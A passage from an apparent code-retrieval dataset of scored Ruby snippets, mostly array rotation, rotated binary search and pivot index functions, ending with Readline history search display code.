"text": "def my_rotate(arr, offset=1)\n move_position = offset % arr.length\n removed_ele = arr.take(move_position)\n position_after_remove = arr.drop(move_position)\n return position_after_remove + removed_ele\nend",
"title": ""
},
{
"docid": "45f212f296e7f3729f49a46047f1bacb",
"score": "0.6265014",
"text": "def rotate_array(array)\n rotated_array = array.dup\n\n array.each do |element|\n rotated_index = array.index(element) - 1\n rotated_array[rotated_index] = element\n end\n\n rotated_array\nend",
"title": ""
},
{
"docid": "9bce2e8c97eb6b2013b94601f7685866",
"score": "0.62578803",
"text": "def my_rotate(arr, offset=1)\n # array without first <offset> elements + <offset> elements\n # 15 % 4 = 3; -15 % 4 = 1 because 4 * -4 is -16, -15 > -16 by 1\n wrapped_offset = offset % arr.length\n arr.drop(wrapped_offset) + arr.take(wrapped_offset)\nend",
"title": ""
},
{
"docid": "36c6e5768c0182845611a26f8aacb499",
"score": "0.6257437",
"text": "def my_rotate(arr, offset=1)\n\n # arr.rotate(offset)\n\n if offset >= 0\n shift = offset % arr.length\n return arr.drop(shift) + arr.take(shift) \n else\n shift = arr.length - (offset.abs % arr.length)\n return arr.drop(shift) + arr.take(shift)\n end\nend",
"title": ""
},
{
"docid": "3b3d7b03ab6747e245737eb7b56c98ee",
"score": "0.62517124",
"text": "def rotate_array(array)\n array.values_at(1..-1, 0)\nend",
"title": ""
},
{
"docid": "3b3d7b03ab6747e245737eb7b56c98ee",
"score": "0.62517124",
"text": "def rotate_array(array)\n array.values_at(1..-1, 0)\nend",
"title": ""
},
{
"docid": "3314d26c0395f155d5173899473b5579",
"score": "0.6229207",
"text": "def find_rotation_point words\n first_word = words[0]\n\n floor_index = 0\n ceiling_index = words.length - 1\n\n while floor_index < ceiling_index\n distance = ceiling_index - floor_index\n half_distance = distance / 2\n guess_index = floor_index + half_distance\n\n if words[guess_index] > first_word\n floor_index = guess_index\n else\n ceiling_index = guess_index\n end\n\n if floor_index + 1 == ceiling_index\n return ceiling_index\n end\n\n end\nend",
"title": ""
},
{
"docid": "3314d26c0395f155d5173899473b5579",
"score": "0.6229207",
"text": "def find_rotation_point words\n first_word = words[0]\n\n floor_index = 0\n ceiling_index = words.length - 1\n\n while floor_index < ceiling_index\n distance = ceiling_index - floor_index\n half_distance = distance / 2\n guess_index = floor_index + half_distance\n\n if words[guess_index] > first_word\n floor_index = guess_index\n else\n ceiling_index = guess_index\n end\n\n if floor_index + 1 == ceiling_index\n return ceiling_index\n end\n\n end\nend",
"title": ""
},
{
"docid": "673123c3c0697d40a5cc14b78e40d36f",
"score": "0.62217796",
"text": "def find_rotation_point(words)\n floor_index = 0\n ceiling_index = words.length\n\n\n while floor_index + 1 < ceiling_index\n half_distance = (ceiling_index - floor_index) / 2\n guess_index = floor_index + half_distance\n\n if words[guess_index] >= words.first\n floor_index = guess_index\n else\n ceiling_index = guess_index\n end\n end\n\n ceiling_index\nend",
"title": ""
},
{
"docid": "95c0694c756af1eb78570f52d43d88d8",
"score": "0.62146765",
"text": "def my_rotate(arr, offset=1)\n if offset >= 0\n num = offset % arr.length\n else\n num = arr.length - offset.abs % arr.length\n end\n return arr.drop(num) + arr.take(num)\nend",
"title": ""
},
{
"docid": "dec0ab1584ce5eb311f13fa0f2ce7fac",
"score": "0.6190925",
"text": "def rotate_array(array)\n rotated_array = []\n counter = 0\n loop do\n rotated_array << array[counter + 1]\n counter += 1\n break if counter == array.size\n end\n if rotated_array.last == nil\n rotated_array[-1] = array.first\n end\n rotated_array\nend",
"title": ""
},
{
"docid": "6a296801904b8772d814c05d870e7758",
"score": "0.6185697",
"text": "def check_array(numbers)\n rotated = numbers[1], numbers[2], numbers[0];\n\treturn rotated;\nend",
"title": ""
},
{
"docid": "febfbc92196e8be263173643317d0f2d",
"score": "0.6157986",
"text": "def rotate_array(arr)\n arr.select {|el| el != arr[0]} << arr[0]\nend",
"title": ""
},
{
"docid": "cf20eaaa25f8296bb19d40200a4e05c8",
"score": "0.61323696",
"text": "def rotate2(input_array)\n # TODO\nend",
"title": ""
},
{
"docid": "7021f9e182c8a92afac112f7f754afc8",
"score": "0.61084044",
"text": "def find_rotation_point(words)\n\n\tfirst_word = words.first\n\n\tfloor_index = 0\n\tceiling_index = words.length - 1\n\n\twhile floor_index < ceiling_index\n\n\t\trandom_guess = (floor_index + ceiling_index) / 2\n\n\t\tif words[random_guess] >= first_word\n\t\t\tfloor_index = random_guess\n\t\telse\n\t\t\tceiling_index = random_guess\n\t\tend\n\t\treturn ceiling_index if floor_index + 1 == ceiling_index\n\tend\t\nend",
"title": ""
},
{
"docid": "98d71ae967a337ad4a279f61a718b533",
"score": "0.6105499",
"text": "def pivot_index(array)\n array.each_index do |index|\n return index if array[0...index].inject(:+) == array[index+1...array.length].inject(:+)\n end\nend",
"title": ""
},
{
"docid": "9a485fff1ac7a7b5ef5ded24e0e21475",
"score": "0.6101302",
"text": "def array_rotation arr, num\n arr.rotate(num)\nend",
"title": ""
},
{
"docid": "799a7983507547b9868d145bf8a517db",
"score": "0.60944766",
"text": "def find_rotation_point(array,starting_index,ending_index)\n midpoint_index = starting_index + ((ending_index - starting_index)/2) \n puts \"The starting index is: #{starting_index}. The ending index is: #{ending_index}. The midpoint is #{midpoint_index}\"\n\n if ending_index - starting_index == 1\n return ending_index \n elsif array[starting_index] < array[midpoint_index]\n find_rotation_point(array, midpoint_index, ending_index)\n elsif array[starting_index] > array[midpoint_index]\n find_rotation_point(array, starting_index, midpoint_index)\n end\n\nend",
"title": ""
},
{
"docid": "b4da28f524eb1e5be2cc45d34909d19f",
"score": "0.60846984",
"text": "def my_rotate(arr, offset=1)\n # your code goes here\n if offset == 1\n e = arr.shift\n arr.push(e)\n elsif offset > arr.length\n e = arr.take(arr.length-1)\n arr = arr.drop(arr.length-1)\n arr = arr + e\n elsif offset > 0\n e = arr.take(offset)\n arr = arr.drop(offset)\n arr = arr + e\n else\n index = offset % arr.length\n e = arr.take(index)\n arr = arr.drop(index)\n arr = arr + e\n return arr\nend\nend",
"title": ""
},
{
"docid": "7853dd74e0cdb59fc7860b827cf6b20f",
"score": "0.60630137",
"text": "def rotate_array(arr)\n outcome = []\n arr.each_with_index { |el, idx| outcome << el unless idx == 0 }\n outcome << arr[0]\n outcome\nend",
"title": ""
},
{
"docid": "3268303bcd509518ba4806ce6b0eaa14",
"score": "0.6055706",
"text": "def find_pivot(arr)\n\tlower = 0\n\tupper = arr.size - 1\n\twhile lower < upper\n\t\tmid = lower + (upper - lower) / 2\n\t\tif arr[lower] <= array[mid]\n\t\t\tbreak if arr[mid] < arr[upper]\n\t\t\tlower = mid + 1\n\t\telse\n\t\t\tupper = mid\n\t\tend\n\tend\n\treturn lower\nend",
"title": ""
},
{
"docid": "07de8fb0e2b7604ab66925870fb1d0cd",
"score": "0.6034526",
"text": "def rotate_array(arr)\n new_arr = []\n arr.select do |num|\n new_arr << num if num != arr[0]\n end\n arr.each do |x|\n new_arr << x if x == arr[0]\n end\n new_arr\nend",
"title": ""
},
{
"docid": "ee6d20a5f5e348e22d47944e56a7e389",
"score": "0.601258",
"text": "def rotate_array(array)\n rotated = array[1..-1]\n first = array.first\n rotated.push(first)\nend",
"title": ""
},
{
"docid": "aeb4e34295b133fdb06a03295d102cf5",
"score": "0.6010723",
"text": "def rotate_array(array)\n result = []\n array.each_with_index do |value, index|\n result.push(value) if index > 0\n end\n result.push(array[0])\n result\nend",
"title": ""
},
{
"docid": "aeb4e34295b133fdb06a03295d102cf5",
"score": "0.6010723",
"text": "def rotate_array(array)\n result = []\n array.each_with_index do |value, index|\n result.push(value) if index > 0\n end\n result.push(array[0])\n result\nend",
"title": ""
},
{
"docid": "7d14d30cc1a417aada6d090ae827b936",
"score": "0.6002864",
"text": "def rotate1(input_array)\n # TODO\nend",
"title": ""
},
{
"docid": "25efcc26355f0e5597ac780dd04fd4f1",
"score": "0.60028434",
"text": "def rotate_array(array, k)\nend",
"title": ""
},
{
"docid": "400b6577bd622a0feb3854b5fa0600b9",
"score": "0.6002668",
"text": "def rotate_array(ary)\n rotated = []\n ary.each_with_index do |elem, idx|\n idx < ary.size - 1 ? rotated << ary[idx + 1] : rotated << ary[0]\n end\n rotated\nend",
"title": ""
},
{
"docid": "2448c5dd57c35aef37faf3933577e289",
"score": "0.5967864",
"text": "def rotate_array(arr)\n new_arr = []\n arr.each_with_index do |value, idx|\n new_arr << value if idx != 0\n end\n\n new_arr << arr[0]\n\n new_arr\nend",
"title": ""
},
{
"docid": "dc28baa28d9d63a78d928e9e1af52245",
"score": "0.5965601",
"text": "def rotate(array, shift)\nend",
"title": ""
},
{
"docid": "1b688308812bc25accedbc5f897d810d",
"score": "0.59641355",
"text": "def my_rotate(arr, offset=1)\n # your code goes here\n arr.drop(offset%arr.length) + arr.take(offset%arr.length)\nend",
"title": ""
},
{
"docid": "d3be75e79e205941d356ad0c34c6cd85",
"score": "0.59621984",
"text": "def rotate_array(array)\r\n result = array.select {|x| x}\r\n result << result.shift\r\nend",
"title": ""
},
{
"docid": "d3be75e79e205941d356ad0c34c6cd85",
"score": "0.59621984",
"text": "def rotate_array(array)\r\n result = array.select {|x| x}\r\n result << result.shift\r\nend",
"title": ""
},
{
"docid": "f9ad764fd7680bc50e5110dc9ef234cd",
"score": "0.5951202",
"text": "def rotate_array(array)\n array[1..-1] + array[0..0]\nend",
"title": ""
},
{
"docid": "4851585eb69ddba6170dc15fd5339636",
"score": "0.59475285",
"text": "def binary_search_rotated(array, num)\n low = 0\n high = array.size - 1\n\n while(low <= high)\n mid = low + ((high - low) / 2)\n\n if array[mid] == num\n return mid\n end\n\n #Found out which side is unsorted, and see if other number is in the sorted half.\n #If not in either sorted halves, then look in the unsorted side.\n\n if array[high] < array[mid] && num < array[mid] && num >= array[low]\n #Right half is unsorted.. and our number is in the left, sorted half.\n high = mid - 1\n elsif array[mid] < array[low] && num > array[mid] && num <= array[high]\n #Left half is unsorted.. and our number is in the right, sorted half.\n low = mid + 1\n elsif array[high] > array[mid]\n #Right half if sorted, go left.\n high = mid - 1\n elsif array[low] < array[mid]\n #Left half is sorted, go right.\n low = mid + 1\n end\n end\n\n return - 1\nend",
"title": ""
},
{
"docid": "f2a88eedb6df49be02fdaa4fbb6e98ea",
"score": "0.59406245",
"text": "def search_shifted(shiftedArr, num)\n \n pivot = find_pivot(shiftedArr)\n if !pivot # no pivot found\n binary_search(shiftedArr, num)\n elsif num < shiftedArr[0] \n # must be at or after pivot\n binary_search(shiftedArr, num, pivot, shiftedArr.length-1)\n else \n # must be before pivot \n binary_search(shiftedArr, num, 0, pivot-1)\n end \nend",
"title": ""
},
{
"docid": "42d57684b0085d02a9e66959be621bcd",
"score": "0.5937913",
"text": "def rotate_array(arr)\n arr_pos_one = arr[0]\n index = 0\n\n rotated_arr = arr.map do |element|\n if index == arr.length - 1\n arr_pos_one\n else\n index += 1\n arr[index]\n end\n end\n\n return rotated_arr\nend",
"title": ""
},
{
"docid": "4b48f17ef37febff4b50bfac3cb32912",
"score": "0.59367335",
"text": "def my_rotate(arr, offset=1)\n # your code goes here\n r = offset.modulo(arr.length)\n arr.drop(r) + arr.take(r)\nend",
"title": ""
},
{
"docid": "c781a0a1a8c932987466fcfeecf3af3b",
"score": "0.59337986",
"text": "def my_rotate(array, offset = 1)\n shift = offset % array.length\n array.drop(shift) + array.take(shift)\nend",
"title": ""
},
{
"docid": "f1becb9a75549d7ed44347c548f3795c",
"score": "0.5926301",
"text": "def find_element(array, x)\n size = array.size\n start = 0\n finish = size - 1\n while start <= finish\n mid = start + (finish-start)/2\n if array[mid] == x\n return mid\n elsif array[mid] <= array[finish]\n if x > array[mid] && x <= array[finish]\n start = mid+1\n else\n finish = mid-1\n end\n else\n if x < array[mid] && x >= array[start]\n finish = mid-1\n else\n start = mid+1\n end\n end\n end\n return -1\nend",
"title": ""
},
{
"docid": "bc2877d9f6a0e37649bccf30313fd5a0",
"score": "0.59164155",
"text": "def transformation_rotation(int_array_array)\n\tint_array_array.rotate_right\nend",
"title": ""
},
{
"docid": "fc3d432c51950eb25a0106cdef9ea97f",
"score": "0.59126437",
"text": "def rotate_array(array)\n i = 1 \n new_array = []\n loop do \n new_array << array[i]\n i += 1\n break if i >= array.length\n end\n new_array << array[0]\nend",
"title": ""
},
{
"docid": "4f94129a8340da207893c9d04ea42ea1",
"score": "0.591245",
"text": "def rotateLeft(d, arr)\n result = []\n\n (0..arr.size - 1).each do |i|\n from = (i + d) % arr.size\n result[i] = arr[from]\n end\n\n result\nend",
"title": ""
},
{
"docid": "52ed7117b44d0d563cc3fc6c4b20d0b5",
"score": "0.5909392",
"text": "def slow_dance(direction, arr)\n arr.each_with_index do |tile, idx|\n return idx if tile == direction\n end\nend",
"title": ""
},
{
"docid": "ebcedc04a5619a663b1378ac51c08ddc",
"score": "0.59028727",
"text": "def is_rotation(arr1, arr2)\n return false if arr1.length != arr2.length\n key, key_i = arr1[0], -1\n for i in (0..arr2.length - 1)\n if key == arr2[i]\n key_i = i\n break\n end\n end\n \n if key_i == -1\n return false\n end\n\n for i in (0..arr1.length - 1)\n j = (key_i + i) % arr1.length\n if arr1[i] != arr2[j]\n return false\n end\n end\n return true\nend",
"title": ""
},
{
"docid": "6c36ccaa98e79d8e9071f16ac3fe09cf",
"score": "0.5882974",
"text": "def rotate_array(array)\n rotated_array = array.dup\n rotated_element = rotated_array.shift\n rotated_array << rotated_element \nend",
"title": ""
},
{
"docid": "803ac0c454882bf750de116a7d629221",
"score": "0.5882781",
"text": "def weirdIndex(x, a)\n return -1 if a.length <= 1\n right_index_function = Proc.new { |x| x}\n left_index_function = Proc.new {|x| x - 1}\n right_pointer = Pointer.new({direction: -1,\n index: a.length - 1,\n array: a,\n comparison: Proc.new {|i| i != x },\n index_function: right_index_function\n })\n left_pointer = Pointer.new({direction: 1,\n index: 1,\n array: a,\n comparison: Proc.new {|i| i == x },\n index_function: left_index_function\n })\n has_flipped = false\n while true do\n old_value = left_pointer.sum\n update_pointer_values(left_pointer, right_pointer)\n if left_pointer.index > right_pointer.index\n left_pointer.index -= 1\n left_pointer.sum = old_value\n end\n if left_pointer.index == right_pointer.index\n if left_pointer.sum == right_pointer.sum\n return left_pointer.index\n else\n just_flipped = update_pointer_directions(left_pointer, right_pointer)\n break if just_flipped && has_flipped\n has_flipped = just_flipped\n end\n end\n move_pointers(left_pointer, right_pointer)\n if left_pointer.index < 0 || right_pointer.index < 0 ||\n left_pointer.index >= a.length || right_pointer.index >= a.length\n break\n end\n end\n -1\nend",
"title": ""
},
{
"docid": "bc331895fd1667fa0fe0a678da46a7d3",
"score": "0.5882686",
"text": "def rotate(array, k)\n k %= array.length\n array[-k..-1] + array[0...-k]\nend",
"title": ""
},
{
"docid": "10d7750d91a60483510ec28652507211",
"score": "0.58806336",
"text": "def my_rotate(arr, offset=1)\n offset = offset % arr.length\n arr.drop(offset) + arr.take(offset)\nend",
"title": ""
},
{
"docid": "6568f117edfa651a2b1ce4641a1bae63",
"score": "0.58770627",
"text": "def pivot_index(array)\n total = array.inject(:+)\n running_count = 0\n array.each_index do |index|\n if running_count + array[index] + running_count == total\n return index\n else\n running_count += array[index]\n end\n end\n -1\nend",
"title": ""
},
{
"docid": "c94278b691f3739bd4de65871845fea8",
"score": "0.5864287",
"text": "def pivoted_binary_search(val, pivot, arr)\n\tlength = arr.length\n\tlower = 0\n\tupper = length - 1\n\twhile lower < upper\n\t\tmid = lower + (upper - lower) / 2\n\t\tmid_val = arr[(mid + pivot) % length]\n\t\tif val < mid_val\n\t\t\tupper = mid\n\t\telse\n\t\t\tlower = mid + 1\n\t\tend\n\tend\n\treturn (lower + pivot) % length\nend",
"title": ""
},
{
"docid": "534b3cab3a68142730fce2ae45879f30",
"score": "0.58548427",
"text": "def rotation_point(words)\n alphabet = (\"a\"..\"z\").to_a\n first_letters = words.map { |word| alphabet.index(word.chars.first) }\n for i in 1..first_letters.length - 1\n rotation_index = first_letters[i] if first_letters[i] < first_letters[i - 1]\n end\n rotation_word = words.find { |word| word if word.start_with?(alphabet[rotation_index]) }\n p words.index(rotation_word)\nend",
"title": ""
},
{
"docid": "185142dae069cd6cf535dd4b674bab43",
"score": "0.5831652",
"text": "def look_and_say(array)\n # [ctr, el]\n result = []\n ctr = 1\n array.each_index do |idx|\n if array[idx + 1] == array[idx]\n ctr += 1\n else\n result << [ctr, array[idx]]\n ctr = 1\n end\n end\n\n result\nend",
"title": ""
},
{
"docid": "997b5f174027d2febf630664c2809e43",
"score": "0.5823272",
"text": "def tiles_match(arr)\n new_arr = []\n a = arr[0]\n b = arr[1]\n 4.times do\n a = rotate(a)\n 4.times do \n b = rotate(b)\n if a.last == b.first\n new_arr[0] = a\n new_arr[1] = b\n end\n b = b.map {|c| c.reverse}\n if a.last == b.first\n new_arr[0] = a\n new_arr[1] = b\n end\n b = b.map {|c| c.reverse}\n end\n a = a.map {|c| c.reverse}\n b = arr[1]\n 4.times do \n b = rotate(b)\n if a.last == b.first\n new_arr[0] = a\n new_arr[1] = b\n end\n b = b.map {|c| c.reverse}\n if a.last == b.first\n new_arr[0] = a\n new_arr[1] = b\n end\n b = b.map {|c| c.reverse}\n end\n a = a.map {|c| c.reverse}\n end\n \n for i in 2..arr.length-1\n a = new_arr[i-1]\n b = arr[i]\n 4.times do \n b = rotate(b)\n if a.last == b.first\n new_arr[i] = b\n end\n b = b.map {|c| c.reverse}\n if a.last == b.first\n new_arr[i] = b\n end\n b = b.map {|c| c.reverse}\n end\n end \n new_arr\nend",
"title": ""
},
{
"docid": "df643eba66b60978e7cefefd9369c573",
"score": "0.58227354",
"text": "def rotate (arr,k)\n\n rotated=arr.rotate(k)\np rotated\nend",
"title": ""
},
{
"docid": "e7bdc9e19e2064e61aa54dc8d4a2c71e",
"score": "0.58207774",
"text": "def gimme(input_array)\n sorted_array = input_array.sort\n middle_val = sorted_array[1]\n input_array.index(middle_val) \nend",
"title": ""
},
{
"docid": "fb7b0a40473421530e52677955416512",
"score": "0.58184373",
"text": "def use_temp_array\n @rotate_by = @rotate_by % @array.length\n return @array if (@array.empty?)\n\n # Store d elements in a temp array\n temp = @array[0...@rotate_by]\n\n # Shift rest of the arr[]\n remaining_count = @array.count - @rotate_by\n\n (0...remaining_count).each do |position|\n @array[position] = @array[position + @rotate_by]\n end\n\n # Store back the d elements\n (0...@rotate_by).each do |i|\n @array[@array.length - @rotate_by + i] = temp[i]\n end\n\n puts \"Array after rotation by #{@rotate_by} is #{@array.to_s}\"\n end",
"title": ""
},
{
"docid": "d6df857893bfd9e268fe139fc766b0d9",
"score": "0.58138376",
"text": "def my_rotate(arr, offset=1)\n rotate = offset % arr.length\n arr.drop(rotate) + arr.take(rotate)\n # your code goes here\nend",
"title": ""
},
{
"docid": "564f893b337d9e38e3ea56889f0b0bbb",
"score": "0.58122283",
"text": "def idx(element, array)\n cont=0\n for i in array\n return cont if i == element\n cont += 1\n end\n return cont\n end",
"title": ""
},
{
"docid": "12b8cf9a9f1376cc5fef959ae30da13a",
"score": "0.5809723",
"text": "def rotate_array(arr)\n rotated = arr.clone\n rotated.insert(-1, rotated.shift)\nend",
"title": ""
},
{
"docid": "12b8cf9a9f1376cc5fef959ae30da13a",
"score": "0.5809723",
"text": "def rotate_array(arr)\n rotated = arr.clone\n rotated.insert(-1, rotated.shift)\nend",
"title": ""
},
{
"docid": "7c71abac754162f06cad416a6b6a04d1",
"score": "0.5806056",
"text": "def rotate_array(array)\n result = []\n 1.upto(array.size - 1) {|index| result << array[index]}\n result << array[0]\n result\nend",
"title": ""
},
{
"docid": "399bb3176bee9ddb9d2a39867a3c5034",
"score": "0.5795225",
"text": "def magic_index(array)\n \n low = 0 \n high = array.length - 1\n mid = (high - low)/2\n\n while (low <= mid && high != low)\n if array[mid] > mid\n high = mid\n mid = (high - low)/2\n else array[mid] == mid\n return mid\n end\n end\n return \"No magic index found.\"\nend",
"title": ""
},
{
"docid": "e5692318c10c06b8ad07af9a18365274",
"score": "0.5794842",
"text": "def rotate_array(arr)\n arr[1..-1] + arr[0]\nend",
"title": ""
},
{
"docid": "e5692318c10c06b8ad07af9a18365274",
"score": "0.5794842",
"text": "def rotate_array(arr)\n arr[1..-1] + arr[0]\nend",
"title": ""
},
{
"docid": "e5692318c10c06b8ad07af9a18365274",
"score": "0.5794842",
"text": "def rotate_array(arr)\n arr[1..-1] + arr[0]\nend",
"title": ""
},
{
"docid": "3b654984b95c4de5b7316e93bcbab7d1",
"score": "0.57926387",
"text": "def equi_index arr\n left, right = 0, arr.reduce(:+)\n indices = []\n\n arr.each_with_index do |x,xi|\n right -= x\n indices << xi if left == right\n left += x\n end\n \n indices.empty? ? -1 : indices.first\n\nend",
"title": ""
},
{
"docid": "2ee91b14ea639465d389b97c64cdb910",
"score": "0.5787952",
"text": "def binary_search_rotated(nums, target)\n low = 0\n high = nums.size - 1\n\n while low <= high\n mid = low + ((high - low) / 2)\n return mid if nums[mid] == target\n\n if nums[low] < nums[mid]\n if target >= nums[low] && target < nums[mid]\n high = mid\n else\n low = mid + 1\n end\n elsif nums[low] > nums[mid]\n if target > nums[mid] && target <= nums[high]\n low = mid + 1\n else\n high = mid\n end\n else\n low += 1\n end\n end\n\n -1\nend",
"title": ""
},
{
"docid": "1764668cd44c27bcbde7f84fe18bc27d",
"score": "0.5784295",
"text": "def left_rotate_array(a,d) #Input array \"a\" and rotation by \"d\" elemets\n n=a.length\n if n>0\n \n if d>n # if d>n ,we take modulo n \n d%=n\n end\n \n reverse(a,0,d-1)\n reverse(a,d,n-1)\n reverse(a,0,n-1)\n end\n return a\nend",
"title": ""
},
{
"docid": "d2fedef54967b12c8b9dde57f032952e",
"score": "0.57776684",
"text": "def equi_index arr\n left, right = 0, arr.reduce(:+)\n indices = []\n arr.each_with_index do |x,xi|\n right -= x\n indices << xi if left == right\n left += x\n end\n indices.empty? ? -1 : indices.first\nend",
"title": ""
},
{
"docid": "8a338afb3b0b66121b7009e9ad0535b9",
"score": "0.57776284",
"text": "def rotate_array(array)\n rotated_array = []\n index = 0\n while index <= array.size - 2\n rotated_array[index] = array[index + 1]\n index += 1\n end\n rotated_array << array[0]\n rotated_array\nend",
"title": ""
},
{
"docid": "9c46014ad167ec2d71d563745c8e4eb5",
"score": "0.5775645",
"text": "def rotate_array(arr)\n first = arr.first\n arr.select.with_index { |_, i| i != 0 }.push(first)\nend",
"title": ""
},
{
"docid": "5b53531a911ee1a5dbf67dbc74ec13e0",
"score": "0.5773416",
"text": "def rotate_array(arr)\n results = arr.map { |n| n }\n results << results.shift\nend",
"title": ""
},
{
"docid": "5b53531a911ee1a5dbf67dbc74ec13e0",
"score": "0.5773416",
"text": "def rotate_array(arr)\n results = arr.map { |n| n }\n results << results.shift\nend",
"title": ""
},
{
"docid": "5d34c329736c51912486a62f2c3b8cd6",
"score": "0.5771777",
"text": "def rotate(arr, d)\n len = arr.length\n new_arr = []\n counter = 0\n\n if len > d\n diff = len - d\n neg = -(diff)\n while neg < 0\n new_arr << arr[neg]\n neg += 1\n end\n\n while counter < d\n new_arr << arr[counter]\n counter += 1\n end\n\n elsif len < d\n diff = d % len\n front = -(len - diff)\n while front < 0\n new_arr << arr[front]\n front += 1\n end\n while counter < diff\n new_arr << arr[counter]\n counter += 1\n end\n\n else\n new_arr = arr\n end\n\n new_arr\nend",
"title": ""
},
{
"docid": "6504e7b57e56a5d41549d879afbe5b88",
"score": "0.57715726",
"text": "def rotate_array(array)\n new_array = []\n counter = 1\n loop do\n break if array.size == 1\n new_array << array[counter]\n counter += 1\n break if new_array.size == array.size - 1\n end\n new_array << array[0]\n new_array\nend",
"title": ""
},
{
"docid": "32586c7e59c34ace1e7fe49a96139cd4",
"score": "0.5769266",
"text": "def rotate_array(array)\n output = []\n i = 1\n loop do \n break if i == (array.size)\n output << array[i]\n i += 1\n end\n output << array[0]\nend",
"title": ""
},
{
"docid": "0bfd104f68c43d7a1e92a7f9454f61df",
"score": "0.5759991",
"text": "def binary_search(array, target)\n # array.sort!\n pivot = array.length / 2\n\n case array[pivot] <=> target\n when 1\n binary_search(array[0...pivot], target)\n when 0\n pivot\n when -1\n pivot + binary_search(array[pivot...array.count], target)\n end\nend",
"title": ""
},
{
"docid": "26bb3f92ae111db1ea58fcdc6afac14e",
"score": "0.5758351",
"text": "def left_rotate_array(a, d) #Input array \"a\" and rotation by \"d\" elemets\n n=a.length\n if n>0 \n if d>n # if d>n ,we take modulo n \n d%=n\n end\n \n for i in 0...gcd(d,n)\n temp=a[i]\n j=i\n while(true)\n k=j+d\n if k>=n\n k=k-n\n end\n if k==i\n break\n end\n a[j]=a[k]\n j=k\n end\n a[j]=temp\n end\n \n end\n return a\nend",
"title": ""
},
{
"docid": "d6e6c42bbc91414381950551a0494211",
"score": "0.57575035",
"text": "def slow_dancing_octo(direction, tiles_array)\n # O(n) dance\n\n tiles_array.each_with_index do |dir, idx|\n return idx if dir == direction\n end\n\nend",
"title": ""
},
{
"docid": "21609fd4d3c67bd527ceeb008c48cebd",
"score": "0.5755566",
"text": "def rotate_array(input_array)\n returner = []\n ((input_array.size)-1).times{|i| returner << input_array[i+1]}\n returner << input_array[0]\n returner\nend",
"title": ""
}
] |
a307386dc70b9f551dbcb7fb6dea81ab
|
Display the current state of the search in the echoarea. SEARCH_STRING contains the string that is being searched for, DIRECTION is zero for forward, or nonzero for reverse, WHERE is the history list number of the current line. If it is 1, then this line is the starting one.
|
[
{
"docid": "85dcb67632093b5dd28405331628f9ef",
"score": "0.6449862",
"text": "def rl_display_search(search_string, reverse_p, where)\r\n message = '('\r\n if (reverse_p)\r\n message << \"reverse-\"\r\n end\r\n message << \"i-search)`\"\r\n\r\n if (search_string)\r\n message << search_string\r\n end\r\n message << \"': \"\r\n\r\n rl_message(message)\r\n message = nil\r\n send(@rl_redisplay_function)\r\n end",
"title": ""
}
] |
[
{
"docid": "c57b6d55303e573f5654ed9689dccb9c",
"score": "0.5518255",
"text": "def noninc_dosearch(string, dir)\r\n if (string.nil? || string == '' || @noninc_history_pos < 0)\r\n rl_ding()\r\n return 0\r\n end\r\n\r\n pos = noninc_search_from_pos(string, @noninc_history_pos + dir, dir)\r\n if (pos == -1)\r\n # Search failed, current history position unchanged.\r\n rl_maybe_unsave_line()\r\n rl_clear_message()\r\n @rl_point = 0\r\n rl_ding()\r\n return 0\r\n end\r\n\r\n @noninc_history_pos = pos\r\n\r\n oldpos = where_history()\r\n history_set_pos(@noninc_history_pos)\r\n entry = current_history()\r\n if (@rl_editing_mode != @vi_mode)\r\n history_set_pos(oldpos)\r\n end\r\n make_history_line_current(entry)\r\n @rl_point = 0\r\n @rl_mark = @rl_end\r\n rl_clear_message()\r\n 1\r\n end",
"title": ""
},
{
"docid": "e8b9907acd742b5221856b7ee4aebb23",
"score": "0.54095393",
"text": "def rl_search_history(direction, invoking_key)\r\n rl_setstate(RL_STATE_ISEARCH)\r\n cxt = _rl_isearch_init(direction)\r\n\r\n rl_display_search(cxt.search_string, (cxt.sflags & SF_REVERSE)!=0, -1)\r\n\r\n # If we are using the callback interface, all we do is set up here and\r\n # return. The key is that we leave RL_STATE_ISEARCH set.\r\n if (rl_isstate(RL_STATE_CALLBACK))\r\n return (0)\r\n end\r\n\r\n r = -1\r\n while(true)\r\n _rl_search_getchar(cxt)\r\n # We might want to handle EOF here (c == 0)\r\n r = _rl_isearch_dispatch(cxt, cxt.lastc)\r\n break if (r <= 0)\r\n end\r\n\r\n # The searching is over. The user may have found the string that she\r\n # was looking for, or else she may have exited a failing search. If\r\n # LINE_INDEX is -1, then that shows that the string searched for was\r\n # not found. We use this to determine where to place rl_point.\r\n _rl_isearch_cleanup(cxt, r)\r\n end",
"title": ""
},
{
"docid": "35799157564b36f844b37c834ccf9fcf",
"score": "0.51660377",
"text": "def text_search(target_string)\n\t\t# NOTE: always search all entities, not just the ones that are on screen\n\t\t# (not sure how you should let the user know that there are entities that have been found, but which are not currently on the screen)\n\t\ttext_objects = @space.entities.select{|x| x.is_a? ThoughtTrace::Text }\n\t\t\n\t\thighlight_mapping = \n\t\t\ttext_objects.map do |text|\n\t\t\t\ti = text.string.index target_string\n\t\t\t\t\n\t\t\t\t[text, i, i+target_string.size] if i\n\t\t\tend\n\t\thighlight_mapping.compact!\n\t\t\n\t\t\n\t\t\n\t\t# highlight the portions of the string the match the search query\n\t\tcolor = Gosu::Color.argb(0x99FF0000)\n\t\t\n\t\thighlight_mapping.each do |text, start_i, end_i|\n\t\t\t# NOTE: width_of_first may break for i=1, because it handles conversion weird. need to totally overhaul that\n\t\t\tax = text.width_of_first(start_i)\n\t\t\tbx = text.width_of_first(end_i)\n\t\t\t\n\t\t\theight = text[:physics].shape.height\n\t\t\toffset = height / 2\n\t\t\t\n\t\t\tp = text[:physics].body.p\n\t\t\ta = CP::Vec2.new(ax, offset) + p\n\t\t\tb = CP::Vec2.new(bx, offset) + p\n\t\t\t\n\t\t\tThoughtTrace::Drawing.draw_line(\n\t\t\t\t$window, a,b, \n\t\t\t\tcolor:color, thickness:height, line_offset:0.5, z_index:0\n\t\t\t)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "000b8f7decc70036644daacd058467c9",
"score": "0.5116596",
"text": "def history_search_prefix (string, direction)\r\n history_search_internal(string, direction, ANCHORED_SEARCH)\r\n end",
"title": ""
},
{
"docid": "78a315e200e1258888baabda25e5746f",
"score": "0.50581306",
